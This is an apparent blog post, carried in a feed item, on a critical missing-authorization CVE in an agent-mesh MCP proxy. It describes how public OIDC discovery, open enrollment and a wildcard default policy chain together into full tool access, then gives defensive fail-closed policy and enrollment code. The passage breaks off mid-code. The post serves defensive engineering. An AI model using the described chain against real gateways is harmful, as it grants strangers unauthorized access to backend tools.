      <guid>https://dev.to/ginigenai_hp_0ae441ead91f/authenticated-is-not-authorized-what-a-93-fail-open-default-in-an-agent-mesh-teaches-about-tool-34ga</guid>
      <description>&lt;h2&gt;
  
  
  TL;DR
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;What was reported:&lt;/strong&gt; On 2026-10-19, CVE-2026-103091 was published for Google OSS Agent Mesh (SAM), versions 0.1.0-alpha.1 through 0.1.0-alpha.8. It is rated &lt;strong&gt;CVSS 9.3 (critical)&lt;/strong&gt;. The record describes missing authorization in the MCP proxy plus insecure defaults in the enrollment flow.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The chain is boring, which is the point:&lt;/strong&gt; &lt;code&gt;GET /info&lt;/code&gt; publicly discloses the OIDC configuration, &lt;code&gt;POST /register&lt;/code&gt; auto-enrolls any valid OIDC token holder without claim filtering or ban checks, and the default policy "binds &lt;code&gt;sam:system:authenticated&lt;/code&gt; to wildcard services and targets". Put together, a stranger with any valid token reaches every tool behind the proxy.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The fix:&lt;/strong&gt; 0.1.0-alpha.9 ships a fail-closed default policy, explicit policy-binding requirements on enrollment, and ban checks.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Not marked as known exploited&lt;/strong&gt; in the record I read, so this is a design lesson, not an incident report.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;What you can do today:&lt;/strong&gt; treat "authenticated" and "authorized" as two separate facts, make enrollment grant zero access, ban wildcards in shipped policy, and put three small tests in CI. Code below, all of it run before publishing.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  What does CVE-2026-103091 actually say?
&lt;/h2&gt;

&lt;p&gt;Two public aggregators of the record agree on the core facts, and I cross-checked them against each other before writing this.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value in the record&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Product&lt;/td&gt;
&lt;td&gt;Google OSS Agent Mesh (SAM)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Affected&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;&amp;gt;= 0.1.0-alpha.1&lt;/code&gt;, &lt;code&gt;&amp;lt; 0.1.0-alpha.9&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Fixed&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0.1.0-alpha.9&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Published&lt;/td&gt;
&lt;td&gt;2026-10-19&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Severity&lt;/td&gt;
&lt;td&gt;CVSS 4.0 base score 9.3, critical, network-reachable, no privileges, no user interaction&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Weaknesses&lt;/td&gt;
&lt;td&gt;CWE-862 (missing authorization), CWE-1188 (insecure default initialization), plus CWE-306, CWE-863, CWE-200&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Components&lt;/td&gt;
&lt;td&gt;MCP proxy (&lt;code&gt;HandleStreamPassThrough&lt;/code&gt;), &lt;code&gt;GET /info&lt;/code&gt;, &lt;code&gt;POST /register&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;One caveat on scope. A search-engine summary of the same CVE also mentioned a second gateway project. The two record pages I could actually open list only SAM as affected, so this article covers SAM and nothing else. If you run a different gateway, check its own advisory instead of inferring from this one.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why is "authenticated" not the same as "authorized"?
&lt;/h2&gt;

&lt;p&gt;Authentication answers "is this token genuine?". Authorization answers "may this principal call this tool with these arguments?". The reported default policy collapses the two: every principal that proves it holds a valid token gets a role, and that role is bound to every service and target.&lt;/p&gt;

&lt;p&gt;That is the same shape as a classic web bug: a login page that works perfectly and a permission system that says yes to everyone who passed it. For an agent gateway the stakes are higher than for a web app, because the thing on the other side of the proxy is a tool catalog. Tools write files, run commands, move money, and call other tools. The record states the end result as full read, write and execution access on backend services.&lt;/p&gt;

&lt;p&gt;An agent gateway has a second reason to be strict. The caller is often an agent acting on text it has read. If the gateway trusts "authenticated", then a successful prompt injection inherits whatever the agent's identity can reach. A gateway that grants nothing by default turns that blast radius from "everything" into "what someone explicitly bound".&lt;/p&gt;

&lt;h2&gt;
  
  
  Why do three small defaults add up to a critical?
&lt;/h2&gt;

&lt;p&gt;Read the chain as three independent weaknesses, each of which a reviewer might wave through alone.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Information disclosure:&lt;/strong&gt; &lt;code&gt;GET /info&lt;/code&gt; tells an unauthenticated caller which OIDC provider and settings the mesh trusts. Many products expose discovery metadata on purpose, so this looks harmless in isolation.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Open enrollment:&lt;/strong&gt; &lt;code&gt;POST /register&lt;/code&gt; enrolls any holder of a valid token. "Valid" only means signed by an issuer the mesh accepts. If the accepted issuer is a public identity provider, valid tokens belong to millions of people, so the set of eligible callers is far larger than the set of intended users.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Wildcard default binding:&lt;/strong&gt; the freshly enrolled principal lands in &lt;code&gt;sam:system:authenticated&lt;/code&gt;, which the default policy binds to wildcard services and targets.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Step 1 tells the attacker where to go, step 2 gets them a principal, step 3 hands that principal everything. Any one control, if it had been strict, would have broken the chain.&lt;/p&gt;

&lt;p&gt;The next chart is a simulation I wrote to make the enrollment step concrete. It is &lt;strong&gt;illustrative, not measured on any real deployment&lt;/strong&gt;: 10,000 holders of valid tokens, of whom 2% belong to the intended tenant (the 2% is my assumption).&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fquickchart.io%2Fchart%3Fw%3D800%26h%3D420%26bkg%3Dwhite%26c%3D%257B%2522type%2522%253A%2522bar%2522%252C%2522data%2522%253A%257B%2522labels%2522%253A%255B%2522open%2520enrollment%2522%252C%2522issuer%2520%252B%2520claim%2520filter%2522%255D%252C%2522datasets%2522%253A%255B%257B%2522label%2522%253A%2522enrolled%2522%252C%2522data%2522%253A%255B10000%252C217%255D%252C%2522backgroundColor%2522%253A%255B%2522%2523dc2626%2522%252C%2522%25232563eb%2522%255D%257D%255D%257D%252C%2522options%2522%253A%257B%2522title%2522%253A%257B%2522display%2522%253Atrue%252C%2522text%2522%253A%2522Illustrative%253A%2520enrolled%2520out%2520of%252010%252C000%2520valid-token%2520holders%2520%25282%2525%2520intended%2520tenant%2529%2522%252C%2522fontSize%2522%253A18%257D%252C%2522legend%2522%253A%257B%2522display%2522%253Afalse%257D%252C%2522scales%2522%253A%257B%2522yAxes%2522%253A%255B%257B%2522ticks%2522%253A%257B%2522beginAtZero%2522%253Atrue%257D%252C%2522scaleLabel%2522%253A%257B%2522display%2522%253Atrue%252C%2522labelString%2522%253A%2522principals%2520enrolled%2522%257D%257D%255D%257D%257D%257D" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fquickchart.io%2Fchart%3Fw%3D800%26h%3D420%26bkg%3Dwhite%26c%3D%257B%2522type%2522%253A%2522bar%2522%252C%2522data%2522%253A%257B%2522labels%2522%253A%255B%2522open%2520enrollment%2522%252C%2522issuer%2520%252B%2520claim%2520filter%2522%255D%252C%2522datasets%2522%253A%255B%257B%2522label%2522%253A%2522enrolled%2522%252C%2522data%2522%253A%255B10000%252C217%255D%252C%2522backgroundColor%2522%253A%255B%2522%2523dc2626%2522%252C%2522%25232563eb%2522%255D%257D%255D%257D%252C%2522options%2522%253A%257B%2522title%2522%253A%257B%2522display%2522%253Atrue%252C%2522text%2522%253A%2522Illustrative%253A%2520enrolled%2520out%2520of%252010%252C000%2520valid-token%2520holders%2520%25282%2525%2520intended%2520tenant%2529%2522%252C%2522fontSize%2522%253A18%257D%252C%2522legend%2522%253A%257B%2522display%2522%253Afalse%257D%252C%2522scales%2522%253A%257B%2522yAxes%2522%253A%255B%257B%2522ticks%2522%253A%257B%2522beginAtZero%2522%253Atrue%257D%252C%2522scaleLabel%2522%253A%257B%2522display%2522%253Atrue%252C%2522labelString%2522%253A%2522principals%2520enrolled%2522%257D%257D%255D%257D%257D%257D" alt="Illustrative enrollment comparison" width="1600" height="840"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;With open enrollment, all 10,000 enroll. With an issuer allowlist plus a required tenant claim, 217 do in this seeded run (the exact number moves with the seed, the order of magnitude does not). Enrollment is the cheapest place to shrink the audience, and it costs one conditional.&lt;/p&gt;

&lt;h2&gt;
  
  
  What does a fail-closed policy look like in code?
&lt;/h2&gt;

&lt;p&gt;The principle is that the absence of a rule is a "no". The engine below is deliberately tiny. It matches targets exactly, never expands a wildcard, and treats an unknown role or an unknown target as deny.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;dataclasses&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;dataclass&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;field&lt;/span&gt;

&lt;span class="nd"&gt;@dataclass&lt;/span&gt;
&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Policy&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;bindings&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;dict&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;field&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;default_factory&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;dict&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;   &lt;span class="c1"&gt;# role -&amp;gt; set of "service:tool"
&lt;/span&gt;
    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;allowed&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;principal_roles&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;role&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;principal_roles&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;pat&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;bindings&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;role&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;()):&lt;/span&gt;
                &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;pat&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;                   &lt;span class="c1"&gt;# exact match only, no wildcards
&lt;/span&gt;                    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="bp"&gt;True&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="bp"&gt;False&lt;/span&gt;                                &lt;span class="c1"&gt;# fail closed
&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;lint&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;policy&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;[(&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;pats&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;policy&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;bindings&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;items&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;pats&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;*&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;Policy&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;admin&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;billing:refund&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;reader&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;docs:search&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;}})&lt;/span&gt;
&lt;span class="k"&gt;assert&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;allowed&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;authenticated&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;billing:refund&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;   &lt;span class="c1"&gt;# fresh principal reaches nothing
&lt;/span&gt;&lt;span class="k"&gt;assert&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;allowed&lt;/span&gt;&lt;span class="p"&gt;([],&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;docs:search&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;assert&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;allowed&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;reader&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;docs:delete&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;             &lt;span class="c1"&gt;# unknown target denies
&lt;/span&gt;&lt;span class="k"&gt;assert&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;allowed&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ghost&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;docs:search&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;              &lt;span class="c1"&gt;# unknown role denies
&lt;/span&gt;&lt;span class="k"&gt;assert&lt;/span&gt; &lt;span class="nf"&gt;lint&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;                                        &lt;span class="c1"&gt;# shipped default has no wildcard
&lt;/span&gt;&lt;span class="k"&gt;assert&lt;/span&gt; &lt;span class="nf"&gt;lint&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;Policy&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;authenticated&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;*:*&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;}}))&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="p"&gt;[(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;authenticated&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;*:*&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)]&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;fail-closed conformance: ok&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I ran this before publishing and it prints &lt;code&gt;fail-closed conformance: ok&lt;/code&gt;. Three properties matter more than the specific code:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;The default is empty.&lt;/strong&gt; A new role that someone forgets to configure gets nothing, and the forgetting shows up as a support ticket, not a breach.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Wildcards are a lint failure.&lt;/strong&gt; If a team truly needs a broad grant, it should be a named role with a reviewer, not a shipped default.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The tests encode the sentence "a fresh principal reaches nothing".&lt;/strong&gt; That sentence was false in the affected versions, and a one-line assertion would have caught it.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The next chart shows what each default choice means for a freshly enrolled principal in a 40-tool catalog (16 read, 12 write, 8 exec, 4 admin; illustrative numbers from my simulation).&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fquickchart.io%2Fchart%3Fw%3D1000%26h%3D420%26bkg%3Dwhite%26c%3D%257B%2522type%2522%253A%2522bar%2522%252C%2522data%2522%253A%257B%2522labels%2522%253A%255B%2522authenticated%2520-%253E%2520%252A%2520%2528wildcard%2529%2522%252C%2522explicit%2520read-only%2520template%2522%252C%2522deny%2520by%2520default%2522%255D%252C%2522datasets%2522%253A%255B%257B%2522label%2522%253A%2522tools%2522%252C%2522data%2522%253A%255B40%252C16%252C0%255D%252C%2522backgroundColor%2522%253A%255B%2522%2523dc2626%2522%252C%2522%25232563eb%2522%252C%2522%252316a34a%2522%255D%257D%255D%257D%252C%2522options%2522%253A%257B%2522title%2522%253A%257B%2522display%2522%253Atrue%252C%2522text%2522%253A%2522Illustrative%253A%2520tools%2520a%2520freshly%2520enrolled%2520principal%2520can%2520call%2520%252840-tool%2520catalog%2529%2522%252C%2522fontSize%2522%253A18%257D%252C%2522legend%2522%253A%257B%2522display%2522%253Afalse%257D%252C%2522scales%2522%253A%257B%2522yAxes%2522%253A%255B%257B%2522ticks%2522%253A%257B%2522beginAtZero%2522%253Atrue%257D%252C%2522scaleLabel%2522%253A%257B%2522display%2522%253Atrue%252C%2522labelString%2522%253A%2522reachable%2520tools%2522%257D%257D%255D%257D%257D%257D" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fquickchart.io%2Fchart%3Fw%3D1000%26h%3D420%26bkg%3Dwhite%26c%3D%257B%2522type%2522%253A%2522bar%2522%252C%2522data%2522%253A%257B%2522labels%2522%253A%255B%2522authenticated%2520-%253E%2520%252A%2520%2528wildcard%2529%2522%252C%2522explicit%2520read-only%2520template%2522%252C%2522deny%2520by%2520default%2522%255D%252C%2522datasets%2522%253A%255B%257B%2522label%2522%253A%2522tools%2522%252C%2522data%2522%253A%255B40%252C16%252C0%255D%252C%2522backgroundColor%2522%253A%255B%2522%2523dc2626%2522%252C%2522%25232563eb%2522%252C%2522%252316a34a%2522%255D%257D%255D%257D%252C%2522options%2522%253A%257B%2522title%2522%253A%257B%2522display%2522%253Atrue%252C%2522text%2522%253A%2522Illustrative%253A%2520tools%2520a%2520freshly%2520enrolled%2520principal%2520can%2520call%2520%252840-tool%2520catalog%2529%2522%252C%2522fontSize%2522%253A18%257D%252C%2522legend%2522%253A%257B%2522display%2522%253Afalse%257D%252C%2522scales%2522%253A%257B%2522yAxes%2522%253A%255B%257B%2522ticks%2522%253A%257B%2522beginAtZero%2522%253Atrue%257D%252C%2522scaleLabel%2522%253A%257B%2522display%2522%253Atrue%252C%2522labelString%2522%253A%2522reachable%2520tools%2522%257D%257D%255D%257D%257D%257D" alt="Illustrative reachable tools by default policy" width="2000" height="840"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  How should enrollment be gated?
&lt;/h2&gt;

&lt;p&gt;Enrollment is where identity becomes a principal, so it deserves its own checks. Verify the issuer, verify the claims that tie the token to your tenant, check a ban list, and then grant &lt;strong&gt;no roles&lt;/strong&gt;. Roles come from a separate, explicit step.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;enroll&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;claims&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;allowed_issuers&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;required&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;banned&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;Return the roles a new principal gets. Empty list means enrolled with zero access.&lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;claims&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;iss&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;allowed_issuers&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="nc"&gt;PermissionError&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;issuer not allowed&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;claims&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;sub&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;banned&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="nc"&gt;PermissionError&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;banned&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;k&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;required&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;items&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;claims&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;k&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="nc"&gt;PermissionError&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;claim &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;k&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; mismatch&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;                      &lt;span class="c1"&gt;# enrollment never implies a binding
&lt;/span&gt;
